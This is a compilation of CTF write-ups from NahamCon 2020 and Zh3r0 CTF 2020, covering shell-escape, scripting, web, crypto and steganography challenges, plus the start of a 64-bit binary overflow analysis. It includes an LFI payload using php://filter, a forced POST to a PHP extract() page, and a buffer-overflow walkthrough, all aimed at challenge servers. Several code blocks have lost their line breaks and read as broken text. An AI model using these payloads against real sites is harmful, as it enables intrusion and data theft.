## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:
It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:
actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:
so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:
```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:
burp suite catches the request and allows us to edit it:
we now only need to add an emergency variable and we get the flag:
with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:
**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# Ooo-la-la
## Topics
- Fermat factorization
## Challenge
[prompt.txt](https://github.com/ret2basic/ret2basic.github.io/blob/master/challs/NahamCon_CTF_2020/Crypto/Ooo-la-la/prompt.txt)
## Analysis
When the two factors `p` and `q` of `n` is close (specifically, when `p - q` is less than the fourth root of `n`), we could use **Fermat factorization** to factor `n`. The detailed proof can be found in [this blog post](https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-2/) (highly recommand to read all four parts carefully).
This challenge can be easily solved using `factordb`, but let's build a script for learning purpose:
## Script
```python#!/usr/bin/env python3from Crypto.Util.number import inverse, long_to_bytes
#--------data--------#
N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983
#--------helper functions--------#
def isqrt(n): x = n y = (x + n // x) // 2 while y < x: x = y y = (x + n // x) // 2 return x
# fermat factorizationdef fermat(n, verbose=False): a = isqrt(n) # int(ceil(n**0.5)) b2 = a*a - n b = isqrt(n) # int(b2**0.5) count = 0 while b*b != b2: if verbose: print('Trying: a=%s b2=%s b=%s' % (a, b2, b)) a = a + 1 b2 = a*a - n b = isqrt(b2) # int(b2**0.5) count += 1 p=a+b q=a-b assert n == p * q return p, q
#--------rsa--------#
p, q = fermat(N)phi = (p - 1) * (q - 1)d = inverse(e, phi)m = pow(c, d, N)flag = long_to_bytes(m).decode()
print(flag)```
## Flag
```plaintextflag{ooo_la_la_those_are_sexy_primes}``` |
# Z3hr0_CTF_2020
***# Table of Contents
* [Forensics](#Forensics) - [LSB fun](#LSB-fun) - [Snow](#Snow) - [is it a troll???](#is-it-a-troll) * [Crypto](#Crypto) - [RSA-Warmup](#RSA-Warmup) - [Mix](#Mix)* [Web](#Web) - [Web-Warmup](#Web-Warmup)
***
# Forensics ## LSB fun have you ever heard of LSB :) ?
Author : h4x5p4c3
file : [user.zip](Assets//Files/user.zip)
**Solution:** After you unzip the file you'll get a jpg image, the first thing came to my mind is to use [jsteg](https://github.com/lukechampine/jsteg)```bashjsteg reveal chall.jpg```
and Bingo! **flag:**```zh3r0{j5t3g_i5_c00l}```
## SnowI wonder if the snow loves the trees and fields, that it kisses them so gently?
Author : h4x5p4c3
file : [snow.zip](Assets//Files/snow.zip)
**Solution:**I unzipped the file and got some hidden files , so I tried firstly to check ```flag.txt``` but it wasn't the correct flag
so I kept checking all the hidden files and folders until I got : ```welc0me_to_zh3r0_ctf```
which is also not the flag, so I went back to the unhidden files ```chall.txt``` , from the name of the challenge we can guess that we should use [stegsnow](https://0x00sec.org/t/steganography-concealing-messages-in-text-files/500) or [snow](http://www.darkside.com.au/snow/)
This indicates that we need a password , I tried ```john``` using ```rockyou.txt``` but I got nothing, so I remembered the string ```welc0me_to_zh3r0_ctf``` that I got from ```.secret.txt```
**flag:**```zh3r0{i5_it_sn0w1ng?}```
## is it a troll???there is baby key and baby hide the key somewhere. Can you help his father to find the key??
Author : cryptonic007
file : [Trollface.jpg](Assets//Files/Trollface.jpg)
**Solution:**
At the beginning I tried ```strings```,```binwalk``` etc.. But nothing interesting, so I tried ```exiftool```
There's a text at Author looks encrypted by ```Base64``` ,but that wasn't true so I tried ```Base58``` and ```Base62``` using [CyberChef](https://gchq.github.io/CyberChef/) and ```Base62``` worked.
I got ```pass : itrolledyou``` ,so since it mentioned password I used [steghide](http://steghide.sourceforge.net/) tool with ```itrolledyou``` as a password
```steghide extract -sf Trollface.jpg ```It extracted a zip file that contains another image
I tried usual things such as ```strings, exiftool etc..``` but again nothing interesting , then I used [zsteg](https://github.com/zed-0xff/zsteg) which is a great tool for ```.png``` and ```.bmp```. I got a strange text again that looks encrypted
So again using [CyberChef](https://gchq.github.io/CyberChef/) I tried all Bases and ```Base58``` worked.
**flag:**```zh3ro{y0u_got_th3_k3y}```
# Crypto
## RSA-WarmupRSA is one of the first public-key cryptosystems and is widely used for secure data transmission. In such a cryptosystem, the encryption key is public and distinct from the decryption key which is kept secret.You all know this :phere is a warmup question.
nc crypto.zh3r0.ml 8451
Author : Finch
**Solution:**
After connecting we will get :```N:423130325547287702818575275911638514089000677312397089081805057991969030705298706721977584791771140221048428491277072574621931762053228292827558133848431392100907341475739701625443407159362865290713505269417296254943824301579820381205337075166450305894211548942250717365528936705397266131955244020850392151721662069939e 65537CT: 64355745797365388490412995076301513621958191046794834306956838312585280589421173619216473785642127494178580195654010801071081452854241462208557812725513288017128104994318837129257203983692773852306990540483172991569629801482576680150381602438163038587331616025889766347178216490112604297980040248921138616716362273714```Firstly we need to factorize ```N``` by using [Integer factorization calculator](https://www.alpertron.com.ar/ECM.HTM)
We can choose eaither the highlighted value or the one after ```x``` , then we need to remove all whitespaces from that value we choosed I use this website [Delete All Whitespace Characters](https://www.browserling.com/tools/remove-all-whitespace)
Then you can use any RSA tool but I prefer this one that I got from a write-up video on YouTube [BabyRSADecryption.py](https://www.youtube.com/watch?v=dKt0x-UhPeY)
**flag:**```zh3r0{RSA_1s_Fun}```
## Mix
At the `BASE`ment no. `65536`,A man is irritated with `SHIFT` key in his `KEYBOARD` as it's a sticky key, A kid is having chocolate icecream with a `SPOON`.
Author : Whit3_D3vi1
File : [Mix.zip](Assets//Files/Mix.zip)
**Solution:**
> Fast of all , the challenge description has everything you need to find out the flag.
At first when I unzip the `Mix.zip` archived file I got two new file under the Mix folder
1. [flag.txt](Assets//Files/Mix/flag.txt)
file data:
``` If you opened this then you are a n00b ```
2. [chall_encrypted.txt](Assets//Files/Mix/chall_encrypted.txt)
file data :
```ꍦ鱡映㸺ꅙ饯?啤啳???魴餠???遯??顲啹???啤?啩灧鵳?楪扴詽鸭餫?怴㸊ꍦ鱡朠㸺攳攳昳昳攳昳攳攳攲攳昳昳昳攳攳昳攳攲攳攳昳昳攳攳昳昳攲攳昳攳昳昳昳昳昳攲攳攳昳昳攳昳攳攳攲攳昳昳昳攳昳昳昳攲攳攳昳昳攳攳昳昳攲攳昳昳昳攳攳昳昳攲攳攳昳昳攳攳攳攳攲攳昳昳攳昳昳攳昳攲攳攳昳昳攳攳昳昳攲攳昳攳昳昳昳昳昳攲攳昳昳昳攳昳昳昳攲攳昳昳攳昳攳攳昳攲攳攳昳昳攳昳昳昳攲攳昳昳攳昳攳攳攳㸊ꍦ鱡栠㸺襍?襍?襍?襍?襍?祍?襍?祍?襍?祍?襍?襍?襍?襍?襍?襍?祍?祍?祍?祍?祍?祍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?祍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?祍?祍?祍?祍?襍?祍?襍?祍?祍?襍?祍?襍?襍?襍?襍?祍?祍?襍?襍?襍?襍?祍?襍?祍?祍?祍?祍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?祍?襍?襍?襍?襍?襍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?襍?襍?祍?祍?襍?襍?襍?襍?襍?襍?祍?祍?祍?祍?祍?襍?襍?襍?襍?襍?癍爽ᔊ```
The `flag.txt` file contents are not so interesting so we have move forward to the `chall_encrypted.txt` file.At first, when I saw the the content of the file I thought that I have to translate that shitty thing.For this I goes to [google translate](https://translate.google.co.in/) but it couldn't find anything (except some gibberish).After this I returned back to the main site & read the challenge description properly.At this time I saw there are some words which are highlited into bold.After seeing the first highlited word I have got a question in my mind that is the cipher text is any type of base encrypted data.To find out the answer I just searched on google for the first two highlited words together & I found that the encrypted data is a [base65536](https://www.better-converter.com/Encoders-Decoders/Base65536-Decode) hash encrypted text.After decoding that file data I got this :
```
flag 1:Yjod od s lrunpstf djogy vo[jrtyrcy jrtr od upi g;sh xj4t-}U-i+dit4+
flag 2:3030313130313030203031313130303130203030313130303131203031303131313131203030313130313030203031313130313131203030313130303131203031313130303131203030313130303030203031313031313031203030313130303131203031303131313131203031313130313131203031313031303031203030313130313131203031313031303030
flag 3:MTExMTExMTExMTAwMTAwMDEwMTAxMDExMTAxMDExMTExMTEwMTAxMTExMTExMTExMDExMDExMDExMDExMDAwMDAxMTAxMDAxMDAxMDAxMDAwMDAwMDAwMDAwMDAwMDAwMTAxMDAxMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMTAxMDAwMDAwMDAwMDAwMTAxMDAwMTAxMDAxMDAwMTAxMDAxMTExMTExMTAwMTAxMDAxMDExMTExMTExMTAwMTAxMDAxMTAwMDAwMDAwMDAwMDAwMTAxMDAxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMTAxMDExMTExMTExMTExMTExMTExMTExMDAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAxMDEwMDAwMDAwMDAxMDEwMDExMDAwMDAwMDAxMDEwMDAxMDEwMTExMTAwMTAxMDAxMDExMTExMTExMTExMTExMTExMTExMDAxMDEwMDExMDExMDExMTExMTExMTExMTAwMTAxMA==
```
These are the main three parts of the flag.The first one is [Shift Keyboard](https://www.dcode.fr/keyboard-shift-cipher) encrypted data as the next highlited word from the challenge description says.After decoding this I got the first part of the flag.
```zh3r0{Y0u_sur3_
```
The middle one is looks like some decimal number presentation of the middle part of the flag.But I am wrong. When I was googling for this I got [this artical](https://www.reddit.com/r/codes/comments/evz1uk/riddle_from_discord_coding_language_if_you_could/) that have this following text.
```Hex ascii codes. 20 = Space, 30 = 0, 31 = 1.
```
There after, first I have turned the [hex into ascii](https://www.rapidtables.com/convert/number/hex-to-ascii.html) format & I got some binaries. After that I turned the [binary to text](https://www.rapidtables.com/convert/number/binary-to-ascii.html) format.And yup I got the middle part of the flag.
```4r3_4w3s0m3_wi7h
```
The third one is [base64](https://www.base64decode.net/) encoded data. After decoding this I got another cipher text which looks like some binary data but that is a [Spoon](https://www.dcode.fr/spoon-language) cipher as the last highlited word from the challenge description says& yeah I got the last part of the flag as well.
```_411_7h3_ski115}
```
**flag:**```zh3r0{Y0u_sur3_4r3_4w3s0m3_wi7h_411_7h3_ski115}```
# Web## Web-Warmup
Chall Link : http://web.zh3r0.ml:8080/
Easy peasy.
Author : careless_finch **Solution** Firstly we check the page source 
As there's nothing interesting , let's check ```bg.css```
**flag:** ```zh3r0{y3s_th1s_1s_w4rmup}``` |
* snowcrash* x32/x64 binary exploit zh3r0 CTF* [email protected]* https://github.com/snowcra5h/
> Our goal is to find an exploit inside of the remote binary. We start by examining the contents of the binary using objdump
```sigmatau@kali:~/CTF/zh3r0/binary_exploit/32_64$ objdump -D -M intel chall
chall: file format elf64-x86-64
Disassembly of section .note.gnu.build-id:
00000000004000e8 <.note.gnu.build-id>: ...
Disassembly of section .text:
0000000000400130 <.text>: 400130: 55 push rbp 400131: 48 89 e5 mov rbp,rsp 400134: 48 83 ec 20 sub rsp,0x20 400138: 31 c0 xor eax,eax 40013a: bf 01 00 00 00 mov edi,0x1 40013f: b0 01 mov al,0x1 400141: 48 c7 c6 e4 01 60 00 mov rsi,0x6001e4 400148: ba 19 00 00 00 mov edx,0x19 40014d: 0f 05 syscall 40014f: b0 00 mov al,0x0 400151: 4c 8d 7d e0 lea r15,[rbp-0x20] 400155: 4c 89 fe mov rsi,r15 400158: 48 c7 c7 00 00 00 00 mov rdi,0x0 40015f: 48 c7 c2 2c 00 00 00 mov rdx,0x2c 400166: 0f 05 syscall 400168: 48 89 f7 mov rdi,rsi 40016b: 49 89 ff mov r15,rdi 40016e: 48 c7 c6 fd 01 60 00 mov rsi,0x6001fd 400175: 48 c7 c7 01 00 00 00 mov rdi,0x1 40017c: 48 c7 c0 01 00 00 00 mov rax,0x1 400183: 48 c7 c2 07 00 00 00 mov rdx,0x7 40018a: 0f 05 syscall 40018c: 4c 89 fe mov rsi,r15 40018f: 48 c7 c0 01 00 00 00 mov rax,0x1 400196: 48 c7 c2 20 00 00 00 mov rdx,0x20 40019d: 0f 05 syscall 40019f: bf 01 00 00 00 mov edi,0x1 4001a4: b8 01 00 00 00 mov eax,0x1 4001a9: be 05 02 60 00 mov esi,0x600205 4001ae: ba 12 00 00 00 mov edx,0x12 4001b3: 0f 05 syscall 4001b5: b8 00 00 00 00 mov eax,0x0 4001ba: bf 00 00 00 00 mov edi,0x0 4001bf: be 00 00 60 00 mov esi,0x600000 4001c4: ba 00 02 00 00 mov edx,0x200 4001c9: 0f 05 syscall 4001cb: 48 89 c7 mov rdi,rax 4001ce: 48 31 c0 xor rax,rax 4001d1: 5b pop rbx 4001d2: 5a pop rdx 4001d3: 5e pop rsi 4001d4: 59 pop rcx 4001d5: c9 leave 4001d6: 49 c7 c7 23 00 00 00 mov r15,0x23 4001dd: 4c 89 7c 24 08 mov QWORD PTR [rsp+0x8],r15 4001e2: 48 cb rex.W retf
Disassembly of section .data:
00000000006001e4 <.data>: 6001e4: 50 push rax 6001e5: 6c ins BYTE PTR es:[rdi],dx 6001e6: 65 61 gs (bad) 6001e8: 73 65 jae 0x60024f 6001ea: 20 65 6e and BYTE PTR [rbp+0x6e],ah 6001ed: 74 65 je 0x600254 6001ef: 72 20 jb 0x600211 6001f1: 79 6f jns 0x600262 6001f3: 75 72 jne 0x600267 6001f5: 20 6e 61 and BYTE PTR [rsi+0x61],ch 6001f8: 6d ins DWORD PTR es:[rdi],dx 6001f9: 65 3a 20 cmp ah,BYTE PTR gs:[rax] 6001fc: 0a 48 65 or cl,BYTE PTR [rax+0x65] 6001ff: 6c ins BYTE PTR es:[rdi],dx 600200: 6c ins BYTE PTR es:[rdi],dx 600201: 6f outs dx,DWORD PTR ds:[rsi] 600202: 2c 20 sub al,0x20 600204: 00 53 6f add BYTE PTR [rbx+0x6f],dl 600207: 6d ins DWORD PTR es:[rdi],dx 600208: 65 20 66 65 and BYTE PTR gs:[rsi+0x65],ah 60020c: 65 64 62 61 gs fs (bad) 600210: 63 6b 20 movsxd ebp,DWORD PTR [rbx+0x20] 600213: 3a 20 cmp ah,BYTE PTR [rax] 600215: 20 0a and BYTE PTR [rdx],cl```
> After peaking at the prologue, we see the stack is structured as follows
* rbp + 8* rbp* rbp - 8* rbp + 10* rbp + 18* rbp + 20
> We also find an overflow condition
``` 40014f: b0 00 mov al,0x0 400151: 4c 8d 7d e0 lea r15,[rbp-0x20] 400155: 4c 89 fe mov rsi,r15 400158: 48 c7 c7 00 00 00 00 mov rdi,0x0 40015f: 48 c7 c2 2c 00 00 00 mov rdx,0x2c 400166: 0f 05 syscall
```> Notice that the above reads 0x2c into the stack, overwriting rbp and 4 bytes of our return address. [rbp + 8]
> Let us check out the next read()
``` 4001b5: b8 00 00 00 00 mov eax,0x0 4001ba: bf 00 00 00 00 mov edi,0x0 4001bf: be 00 00 60 00 mov esi,0x600000 4001c4: ba 00 02 00 00 mov edx,0x200 4001c9: 0f 05 syscall ```> Okay, this reads 0x200 bytes below the .data section, which writes into the data section.
> Analyzing further``` 4001d6: 49 c7 c7 23 00 00 00 mov r15,0x23 4001dd: 4c 89 7c 24 08 mov QWORD PTR [rsp+0x8],r15 4001e2: 48 cb rex.W retf ```>We note that everything has been switched to 32-bit mode, and this information will be required for the int80 rop gadget.
>We are going to need to look closer at this binary, so we examine the binary using readelf
